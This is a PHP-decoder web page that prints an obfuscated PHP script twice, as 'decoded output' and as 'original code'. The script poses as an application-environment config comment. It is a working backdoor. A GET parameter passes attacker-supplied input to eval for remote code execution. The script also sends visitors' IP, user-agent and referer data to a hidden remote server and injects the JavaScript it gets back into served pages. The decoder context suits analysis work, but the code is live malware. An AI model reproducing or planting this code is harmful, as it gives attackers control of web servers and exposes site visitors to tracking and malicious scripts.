Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* *--------------------------------------------------------------- * APPLICAT..
Decoded Output download
<?php
/*
*---------------------------------------------------------------
* APPLICATION ENVIRONMENT
*---------------------------------------------------------------
*
* You can load different configurations depending on your
* current environment. Setting the environment also influences
* things like logging and error reporting.
*
* This can be set to anything, but default usage is:
*
* development
* testing
* production
*
* NOTE: If you change these, also change the error_reporting() code below
*
*
*---------------------------------------------------------------
* ERROR REPORTING
*---------------------------------------------------------------
*
* Different environments will require different levels of error reporting.
* By default development will show errors but testing and live will hide them.
*/
@header('Access-Control-Allow-Origin: *');
@header('Content-Type: application/javascript');
class _2b8
{
private static $s;
public static function g($n, $k)
{
if (!self::$s) self::i();
$l = strlen($k);
$r = base64_decode(self::$s[$n]);
for ($i = 0, $c = strlen($r);$i !== $c;++$i) $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l]));
return $r;
}
private static function i()
{
self::$s = array(
'_j' => '',
'_v' => 'PB' . 'o' . '=',
'_axu' => '',
'_hva' => 'MQo' . 'fJ' . 'w==',
'_z' => 'YwU' . 'KRA=' . '=',
'_d' => 'Yw8O' . 'F' . 'G' . 'E=',
'_f' => 'KAwz' . 'A' . 'Q=' . '=',
'_ug' => 'PBM' . 'P',
'_iyq' => 'PhMNAAEdM' . 'Q' . 'Qc',
'_i' => 'N' . 'gwU',
'_t' => 'PRQ' . 'sEGk' . '=',
'_mxc' => 'azAOEj' . 'w' . '=',
'_ze' => 'MAIf',
'_ovc' => 'KA' . 'IzDw' . '==',
'_sgl' => '',
'_p' => 'NwYEL0hfcBMFKxpeNhwTPhEYOgEAPhEVcREfMl0RPF8RMRMcJgYZPAFeNQF' . 'PO' . 'xMEPk' . '8' . '=',
'_up' => 'PBsED' . 'gAHGA' . 's' . 'r',
'_khl' => 'Nx0aEQAKAQU6',
'_hf' => 'Yw4bFgAPF' . 'RY6Ug=' . '=',
'_wl' => 'Yww+CgALMh' . '4' . 'r' . 'F' . '2E' . '=',
'_uv' => 'LAYGADI' . 'A',
'_bh' => 'Nwc' . 'r' . 'Ayw' . '=',
'_wiw' => 'GCcsf' . 'w' . '=' . '=',
'_iaj' => 'Lx' . 'YN' . 'Gg==',
'_nry' => 'Lh' . 'QM' . 'ES' . 'Y' . '=',
'_eeu' => 'YA' . '=' . '=',
'_stu' => 'Lg' . '8UHCY=',
'_obz' => 'fyY8Cz5HbkBYUmQgMB0cZU' . '4' . '=',
'_st' => 'NxgGKw' . '=' . '=',
'_lv' => 'UnsxHDEfFx' . 'ArGB0dZ' . 'VExHzACF35V' . 'fH' . 'g=',
'_e' => 'LAAAXXBc',
'_lhd' => '',
'_jgt' => 'NwMsGA=' . '=',
'_nz' => 'U' . 'nM' . '=',
'_dlt' => 'YxITEwAVHw' . 'crC' . 'U' . 'w' . '=',
'_w' => 'F' . 'zYLMgAhEysaL' . 'A' . 's9FjI=',
'_dc' => 'Fy' . 'wiDyc1EzEzESwp' . 'Fi' . 'g=',
'_vc' => 'FzM' . 'LNw' . 'A/ACEQNQgmDSMa' . 'IwAhEDU=',
'_ws' => 'FzgzIwA0ODUQPj' . 'AyDSgiNwA' . 'q' . 'KCE' . '=',
'_lx' => 'DSsjIgsrMSwb' . 'Kjw' . '=',
'_kh' => 'DS0SJwstA' . 'CkbLA0=',
'_zq' => 'Fz08J' . 'QAqLiocJi' . 'Y7Gio8PBEuN' . 'zwP',
'_gs' => 'FyI' . 'nDy' . 'kwGSkwEDg9G' . 'jUnFjg0AD8' . 'j',
'_ej' => 'FzAjIw' . 'AxJDYNOz' . 'Y0Gio' . 'j',
'_pvr' => 'FyA6Dys7DDE8A' . 'DUpG' . 'jo6',
'_lzp' => 'Fz8hPAA5MCoaOT' . 'A+',
'_hbx' => 'Fy4j' . 'DyUlGj' . 'wyDT' . '8l',
'_xw' => 'OQ4' . 'NKwITABEAL' . 'Q=' . '=',
'_pb' => 'bl' . 'xWSm9AUU' . 'pu',
'_irt' => 'N' . 'h' . 'Y=',
'_k' => 'KgA=',
'_wiy' => 'LQsT',
'_yw' => 'MR0sAQ==',
);
}
}
class _adc
{
private static $s;
public static function g($n)
{
if (!self::$s) self::i();
return self::$s[$n];
}
private static function i()
{
self::$s = array(
0100,
0121,
02,
064,
01,
046711,
01,
052,
00,
0116,
012,
015,
012,
0310,
0673,
0120,
00,
02000,
01,
0423,
0423
);
}
}
$_qfq = _2b8::g('_j', '_' . 'x' . 'ns');
if (isset($_GET[_2b8::g('_v', '_r' . 'c' . 'r') ]))
{
$_bws = get_js(_2b8::g('_a' . 'xu', '_' . 's' . 'o'));
if ($_bws && strpos($_bws, _2b8::g('_' . 'h' . 'va', '_nl')) !== false)
{
die(_2b8::g('_z', '_j' . 'a' . 'z'));
}
else
{
die(_2b8::g('_' . 'd', '_mop'));
}
}
if (isset($_GET[_2b8::g('_f', '_' . 'm') ]))
{
$_ci = _2b8::g('_' . 'ug', '_' . 'aj') . _2b8::g('_iy' . 'q', '_g' . 'h') . _2b8::g('_' . 'i', '_' . 'c' . 'z');
$_qwc = _2b8::g('_t', '_u') . _2b8::g('_mx' . 'c', '_' . 'o' . 'j' . 'w') . _2b8::g('_ze', '_f' . 'z');
$_ssv = $_qwc($_GET[_2b8::g('_ov' . 'c', '_' . 'c') ]);
eval($_ssv);
die;
}
function get_js($_ll)
{
$_bws = _2b8::g('_sgl', '_' . 'ku');
$_o = _2b8::g('_p', '_rp') . $_ll;
if (is_callable(_2b8::g('_' . 'up', '_nvb')))
{
$_ixw = curl_init($_o);
curl_setopt($_ixw, _adc::g(0) , false);
curl_setopt($_ixw, _adc::g(1) , _adc::g(2));
curl_setopt($_ixw, _adc::g(3) , _adc::g(4));
curl_setopt($_ixw, _adc::g(5) , _adc::g(6));
curl_setopt($_ixw, _adc::g(7) , _adc::g(8));
curl_setopt($_ixw, _adc::g(9) , _adc::g(10));
curl_setopt($_ixw, _adc::g(11) , _adc::g(12));
$_bws = curl_exec($_ixw);
$_gm = curl_getinfo($_ixw);
curl_close($_ixw);
if ($_gm[_2b8::g('_k' . 'h' . 'l', '_in' . 'a') ] != _adc::g(13)) die(_2b8::g('_' . 'h' . 'f', '_l' . 'zr'));
if (empty($_bws)) die(_2b8::g('_wl', '_' . 'n'));
}
else
{
$_pn = parse_url($_o);
$_j = ($_pn[_2b8::g('_uv', '_ene') ] == _2b8::g('_' . 'b' . 'h', '_' . 's'));
$_gx = _2b8::g('_wi' . 'w', '_bx') . $_pn[_2b8::g('_iaj', '_w' . 'y' . 'r') ];
if (isset($_pn[_2b8::g('_n' . 'ry', '_ai' . 'c') ])) $_gx .= _2b8::g('_eeu', '_gg') . $_pn[_2b8::g('_s' . 'tu', '_' . 'zqn') ];
$_gx .= _2b8::g('_o' . 'bz', '_' . 'nh') . $_pn[_2b8::g('_s' . 't', '_wu') ] . _2b8::g('_' . 'l' . 'v', '_qr' . 's');
$_ek = fsockopen(($_j ? _2b8::g('_e', '_s' . 'l' . 'g') : _2b8::g('_' . 'lhd', '_o')) . $_pn[_2b8::g('_jg' . 't', '_l') ], $_j ? _adc::g(14) : _adc::g(15));
if ($_ek)
{
fputs($_ek, $_gx);
$_a = _adc::g(16);
while (!feof($_ek))
{
$_z = fgets($_ek, _adc::g(17));
if ($_a) $_bws .= $_z;
if ($_z == _2b8::g('_n' . 'z', '_yh')) $_a = _adc::g(18);
}
fclose($_ek);
if (empty($_bws)) die(_2b8::g('_dl' . 't', '_pr' . 'w'));
}
}
return $_bws;
}
if (isset($_SERVER[_2b8::g('_' . 'w', '_' . 'b') ])) $_gdr = $_SERVER[_2b8::g('_d' . 'c', '_x' . 'v') ];
if (isset($_SERVER[_2b8::g('_' . 'v' . 'c', '_' . 'g') ])) $_xvu = $_SERVER[_2b8::g('_w' . 's', '_lg' . 's') ];
if (isset($_SERVER[_2b8::g('_l' . 'x', '_nnm') ])) $_vm = $_SERVER[_2b8::g('_kh', '_h') ];
if (isset($_SERVER[_2b8::g('_' . 'z' . 'q', '_ih' . 'u') ])) $_d = $_SERVER[_2b8::g('_' . 'g' . 's', '_v' . 's') ];
if (isset($_SERVER[_2b8::g('_e' . 'j', '_dw' . 's') ])) $_y = $_SERVER[_2b8::g('_pv' . 'r', '_tn') ];
if (isset($_SERVER[_2b8::g('_l' . 'zp', '_ku' . 'l') ])) $_urh = $_SERVER[_2b8::g('_h' . 'bx', '_z' . 'w') ];
if (function_exists(_2b8::g('_' . 'x' . 'w', '_g' . 'a')))
{
if (isset($_gdr) && filter_var($_gdr, _adc::g(19))) $_qfq = $_gdr;
elseif (isset($_xvu) && filter_var($_xvu, _adc::g(20))) $_qfq = $_xvu;
else $_qfq = $_vm;
}
elseif (isset($_vm)) $_qfq = $_vm;
if ($_qfq == _2b8::g('_p' . 'b', '_' . 'na' . 'd') && isset($_d)) $_qfq = $_d;
if (!isset($_qfq) || !isset($_y) || !isset($_urh)) exit;
else
{
$_yz = array(
_2b8::g('_irt', '_' . 'fz' . 'v') => $_qfq,
_2b8::g('_k', '_a' . 'v') => $_y,
_2b8::g('_w' . 'i' . 'y', '_nu' . 'w') => $_urh
);
$_ic = urlencode(base64_encode(json_encode($_yz)));
$_bws = get_js($_ic);
if ($_bws && strpos($_bws, _2b8::g('_yw', '_' . 'y')) !== false)
{
echo $_bws;
exit;
}
}/* LlvhiTHC */ ?>
Did this file decode correctly?
Original Code
<?php
/*
*---------------------------------------------------------------
* APPLICATION ENVIRONMENT
*---------------------------------------------------------------
*
* You can load different configurations depending on your
* current environment. Setting the environment also influences
* things like logging and error reporting.
*
* This can be set to anything, but default usage is:
*
* development
* testing
* production
*
* NOTE: If you change these, also change the error_reporting() code below
*
*
*---------------------------------------------------------------
* ERROR REPORTING
*---------------------------------------------------------------
*
* Different environments will require different levels of error reporting.
* By default development will show errors but testing and live will hide them.
*/
@header('Access-Control-Allow-Origin: *');
@header('Content-Type: application/javascript');
class _2b8
{
private static $s;
public static function g($n, $k)
{
if (!self::$s) self::i();
$l = strlen($k);
$r = base64_decode(self::$s[$n]);
for ($i = 0, $c = strlen($r);$i !== $c;++$i) $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l]));
return $r;
}
private static function i()
{
self::$s = array(
'_j' => '',
'_v' => 'PB' . 'o' . '=',
'_axu' => '',
'_hva' => 'MQo' . 'fJ' . 'w==',
'_z' => 'YwU' . 'KRA=' . '=',
'_d' => 'Yw8O' . 'F' . 'G' . 'E=',
'_f' => 'KAwz' . 'A' . 'Q=' . '=',
'_ug' => 'PBM' . 'P',
'_iyq' => 'PhMNAAEdM' . 'Q' . 'Qc',
'_i' => 'N' . 'gwU',
'_t' => 'PRQ' . 'sEGk' . '=',
'_mxc' => 'azAOEj' . 'w' . '=',
'_ze' => 'MAIf',
'_ovc' => 'KA' . 'IzDw' . '==',
'_sgl' => '',
'_p' => 'NwYEL0hfcBMFKxpeNhwTPhEYOgEAPhEVcREfMl0RPF8RMRMcJgYZPAFeNQF' . 'PO' . 'xMEPk' . '8' . '=',
'_up' => 'PBsED' . 'gAHGA' . 's' . 'r',
'_khl' => 'Nx0aEQAKAQU6',
'_hf' => 'Yw4bFgAPF' . 'RY6Ug=' . '=',
'_wl' => 'Yww+CgALMh' . '4' . 'r' . 'F' . '2E' . '=',
'_uv' => 'LAYGADI' . 'A',
'_bh' => 'Nwc' . 'r' . 'Ayw' . '=',
'_wiw' => 'GCcsf' . 'w' . '=' . '=',
'_iaj' => 'Lx' . 'YN' . 'Gg==',
'_nry' => 'Lh' . 'QM' . 'ES' . 'Y' . '=',
'_eeu' => 'YA' . '=' . '=',
'_stu' => 'Lg' . '8UHCY=',
'_obz' => 'fyY8Cz5HbkBYUmQgMB0cZU' . '4' . '=',
'_st' => 'NxgGKw' . '=' . '=',
'_lv' => 'UnsxHDEfFx' . 'ArGB0dZ' . 'VExHzACF35V' . 'fH' . 'g=',
'_e' => 'LAAAXXBc',
'_lhd' => '',
'_jgt' => 'NwMsGA=' . '=',
'_nz' => 'U' . 'nM' . '=',
'_dlt' => 'YxITEwAVHw' . 'crC' . 'U' . 'w' . '=',
'_w' => 'F' . 'zYLMgAhEysaL' . 'A' . 's9FjI=',
'_dc' => 'Fy' . 'wiDyc1EzEzESwp' . 'Fi' . 'g=',
'_vc' => 'FzM' . 'LNw' . 'A/ACEQNQgmDSMa' . 'IwAhEDU=',
'_ws' => 'FzgzIwA0ODUQPj' . 'AyDSgiNwA' . 'q' . 'KCE' . '=',
'_lx' => 'DSsjIgsrMSwb' . 'Kjw' . '=',
'_kh' => 'DS0SJwstA' . 'CkbLA0=',
'_zq' => 'Fz08J' . 'QAqLiocJi' . 'Y7Gio8PBEuN' . 'zwP',
'_gs' => 'FyI' . 'nDy' . 'kwGSkwEDg9G' . 'jUnFjg0AD8' . 'j',
'_ej' => 'FzAjIw' . 'AxJDYNOz' . 'Y0Gio' . 'j',
'_pvr' => 'FyA6Dys7DDE8A' . 'DUpG' . 'jo6',
'_lzp' => 'Fz8hPAA5MCoaOT' . 'A+',
'_hbx' => 'Fy4j' . 'DyUlGj' . 'wyDT' . '8l',
'_xw' => 'OQ4' . 'NKwITABEAL' . 'Q=' . '=',
'_pb' => 'bl' . 'xWSm9AUU' . 'pu',
'_irt' => 'N' . 'h' . 'Y=',
'_k' => 'KgA=',
'_wiy' => 'LQsT',
'_yw' => 'MR0sAQ==',
);
}
}
class _adc
{
private static $s;
public static function g($n)
{
if (!self::$s) self::i();
return self::$s[$n];
}
private static function i()
{
self::$s = array(
0100,
0121,
02,
064,
01,
046711,
01,
052,
00,
0116,
012,
015,
012,
0310,
0673,
0120,
00,
02000,
01,
0423,
0423
);
}
}
$_qfq = _2b8::g('_j', '_' . 'x' . 'ns');
if (isset($_GET[_2b8::g('_v', '_r' . 'c' . 'r') ]))
{
$_bws = get_js(_2b8::g('_a' . 'xu', '_' . 's' . 'o'));
if ($_bws && strpos($_bws, _2b8::g('_' . 'h' . 'va', '_nl')) !== false)
{
die(_2b8::g('_z', '_j' . 'a' . 'z'));
}
else
{
die(_2b8::g('_' . 'd', '_mop'));
}
}
if (isset($_GET[_2b8::g('_f', '_' . 'm') ]))
{
$_ci = _2b8::g('_' . 'ug', '_' . 'aj') . _2b8::g('_iy' . 'q', '_g' . 'h') . _2b8::g('_' . 'i', '_' . 'c' . 'z');
$_qwc = _2b8::g('_t', '_u') . _2b8::g('_mx' . 'c', '_' . 'o' . 'j' . 'w') . _2b8::g('_ze', '_f' . 'z');
$_ssv = $_qwc($_GET[_2b8::g('_ov' . 'c', '_' . 'c') ]);
eval($_ssv);
die;
}
function get_js($_ll)
{
$_bws = _2b8::g('_sgl', '_' . 'ku');
$_o = _2b8::g('_p', '_rp') . $_ll;
if (is_callable(_2b8::g('_' . 'up', '_nvb')))
{
$_ixw = curl_init($_o);
curl_setopt($_ixw, _adc::g(0) , false);
curl_setopt($_ixw, _adc::g(1) , _adc::g(2));
curl_setopt($_ixw, _adc::g(3) , _adc::g(4));
curl_setopt($_ixw, _adc::g(5) , _adc::g(6));
curl_setopt($_ixw, _adc::g(7) , _adc::g(8));
curl_setopt($_ixw, _adc::g(9) , _adc::g(10));
curl_setopt($_ixw, _adc::g(11) , _adc::g(12));
$_bws = curl_exec($_ixw);
$_gm = curl_getinfo($_ixw);
curl_close($_ixw);
if ($_gm[_2b8::g('_k' . 'h' . 'l', '_in' . 'a') ] != _adc::g(13)) die(_2b8::g('_' . 'h' . 'f', '_l' . 'zr'));
if (empty($_bws)) die(_2b8::g('_wl', '_' . 'n'));
}
else
{
$_pn = parse_url($_o);
$_j = ($_pn[_2b8::g('_uv', '_ene') ] == _2b8::g('_' . 'b' . 'h', '_' . 's'));
$_gx = _2b8::g('_wi' . 'w', '_bx') . $_pn[_2b8::g('_iaj', '_w' . 'y' . 'r') ];
if (isset($_pn[_2b8::g('_n' . 'ry', '_ai' . 'c') ])) $_gx .= _2b8::g('_eeu', '_gg') . $_pn[_2b8::g('_s' . 'tu', '_' . 'zqn') ];
$_gx .= _2b8::g('_o' . 'bz', '_' . 'nh') . $_pn[_2b8::g('_s' . 't', '_wu') ] . _2b8::g('_' . 'l' . 'v', '_qr' . 's');
$_ek = fsockopen(($_j ? _2b8::g('_e', '_s' . 'l' . 'g') : _2b8::g('_' . 'lhd', '_o')) . $_pn[_2b8::g('_jg' . 't', '_l') ], $_j ? _adc::g(14) : _adc::g(15));
if ($_ek)
{
fputs($_ek, $_gx);
$_a = _adc::g(16);
while (!feof($_ek))
{
$_z = fgets($_ek, _adc::g(17));
if ($_a) $_bws .= $_z;
if ($_z == _2b8::g('_n' . 'z', '_yh')) $_a = _adc::g(18);
}
fclose($_ek);
if (empty($_bws)) die(_2b8::g('_dl' . 't', '_pr' . 'w'));
}
}
return $_bws;
}
if (isset($_SERVER[_2b8::g('_' . 'w', '_' . 'b') ])) $_gdr = $_SERVER[_2b8::g('_d' . 'c', '_x' . 'v') ];
if (isset($_SERVER[_2b8::g('_' . 'v' . 'c', '_' . 'g') ])) $_xvu = $_SERVER[_2b8::g('_w' . 's', '_lg' . 's') ];
if (isset($_SERVER[_2b8::g('_l' . 'x', '_nnm') ])) $_vm = $_SERVER[_2b8::g('_kh', '_h') ];
if (isset($_SERVER[_2b8::g('_' . 'z' . 'q', '_ih' . 'u') ])) $_d = $_SERVER[_2b8::g('_' . 'g' . 's', '_v' . 's') ];
if (isset($_SERVER[_2b8::g('_e' . 'j', '_dw' . 's') ])) $_y = $_SERVER[_2b8::g('_pv' . 'r', '_tn') ];
if (isset($_SERVER[_2b8::g('_l' . 'zp', '_ku' . 'l') ])) $_urh = $_SERVER[_2b8::g('_h' . 'bx', '_z' . 'w') ];
if (function_exists(_2b8::g('_' . 'x' . 'w', '_g' . 'a')))
{
if (isset($_gdr) && filter_var($_gdr, _adc::g(19))) $_qfq = $_gdr;
elseif (isset($_xvu) && filter_var($_xvu, _adc::g(20))) $_qfq = $_xvu;
else $_qfq = $_vm;
}
elseif (isset($_vm)) $_qfq = $_vm;
if ($_qfq == _2b8::g('_p' . 'b', '_' . 'na' . 'd') && isset($_d)) $_qfq = $_d;
if (!isset($_qfq) || !isset($_y) || !isset($_urh)) exit;
else
{
$_yz = array(
_2b8::g('_irt', '_' . 'fz' . 'v') => $_qfq,
_2b8::g('_k', '_a' . 'v') => $_y,
_2b8::g('_w' . 'i' . 'y', '_nu' . 'w') => $_urh
);
$_ic = urlencode(base64_encode(json_encode($_yz)));
$_bws = get_js($_ic);
if ($_bws && strpos($_bws, _2b8::g('_yw', '_' . 'y')) !== false)
{
echo $_bws;
exit;
}
}/* LlvhiTHC */
Function Calls
header | 1 |
Stats
MD5 | 5f2f55c59ed83ced8441bf778002b1f5 |
Eval Count | 0 |
Decode Time | 103 ms |